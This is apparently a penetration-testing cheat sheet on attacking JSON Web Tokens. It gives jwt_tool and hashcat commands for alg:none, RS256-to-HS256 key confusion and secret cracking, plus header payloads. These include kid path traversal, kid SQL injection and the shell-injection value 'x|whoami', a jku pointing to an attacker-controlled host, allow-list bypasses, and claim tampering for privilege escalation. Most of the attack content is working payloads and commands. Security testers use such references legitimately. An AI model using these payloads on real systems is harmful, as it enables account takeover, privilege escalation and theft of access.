caon.io

JWT

Read the header first. It tells you which attack applies.

# https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py <JWT> -M pb          # playbook: runs every common check
python3 jwt_tool.py <JWT> -X a           # alg:none
python3 jwt_tool.py <JWT> -X k -pk pub.pem   # key confusion
python3 jwt_tool.py <JWT> -C -d rockyou.txt  # crack HS256

Change algorithm to None

Sometimes APIs don’t check for JWT encryption. None algorithm allows an attacker to craft a malicious JWT token to escalate privileges.

B64 None: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0

Case variants get past naive blocklists, and the trailing dot still matters:

none  None  NONE  nOnE
header.payload.        ← keep the dot, drop the signature

RS256 → HS256 confusion

The server verifies with verify(token, key) and picks the algorithm from the token. Tell it the RSA public key is an HMAC secret.

# recover the public key from two tokens
python3 jwt_tool.py <JWT1> -X k
# or grab it from /jwks.json, the TLS cert, or the docs
openssl s_client -connect example.com:443 | openssl x509 -pubkey -noout > pub.pem
python3 jwt_tool.py <JWT> -X k -pk pub.pem

Header injection

kid, jku, x5u and jwk all tell the server where to get the key. All of them are attacker-controlled.

{"alg":"HS256","kid":"../../../../dev/null"}      key is empty string
{"alg":"HS256","kid":"/proc/sys/kernel/randomize_va_space"}    key is "2"
{"alg":"RS256","jku":"https://oob.tld/jwks.json"}
{"alg":"RS256","jwk":{"kty":"RSA","n":"...","e":"AQAB"}}       self-signed

kid also lands in SQL and in shell:

{"kid":"x' UNION SELECT 'secret'-- "}
{"kid":"x|whoami"}

For jku, check whether the allow-list can be fooled the same way an Open Redirect or SSRF filter can:

jku: https://example.com/.well-known/[email protected]/x.json
jku: https://example.com/redirect?url=https://oob.tld/x.json

Weak secrets

HS256 with a guessable secret is still common.

hashcat -a 0 -m 16500 jwt.txt jwt.secrets.list
# https://github.com/wallarm/jwt-secrets

Also try: secret, changeme, the app name, the framework default, anything in the repo.

JWT Injection

Sometimes applications reflect data that is stored inside the token, try to create accounts with malicious payloads

Claims worth changing

sub  user_id  uid       →  another user
role  scope  groups     →  admin
aud                     →  a different service that shares the key
iss                     →  a tenant you control
exp  nbf  iat           →  removed entirely, still accepted?
jti                     →  reuse a revoked one

Removing exp rather than extending it catches servers that only validate the claim when present.

Checks people forget

  • Does logout invalidate the token server-side, or just drop the cookie?
  • Is the token still valid after a password change?
  • Two tenants: does tenant A’s token work on tenant B’s endpoint?
  • Is the same key used for access and refresh tokens?
  • alg: ES256 with r=0, s=0 (psychic signature, CVE-2022-21449 on Java 15-18)

Crack JWTs

https://github.com/mazen160/jwt-pwn

Tools

URL Description
https://github.com/ticarpi/jwt_tool The one to reach for
https://token.dev/ Decode / re-sign in the browser
https://github.com/PortSwigger/json-web-tokens Burp extension
https://github.com/wallarm/jwt-secrets Known default secrets

Articles

↑↓ navigate↵ openesc close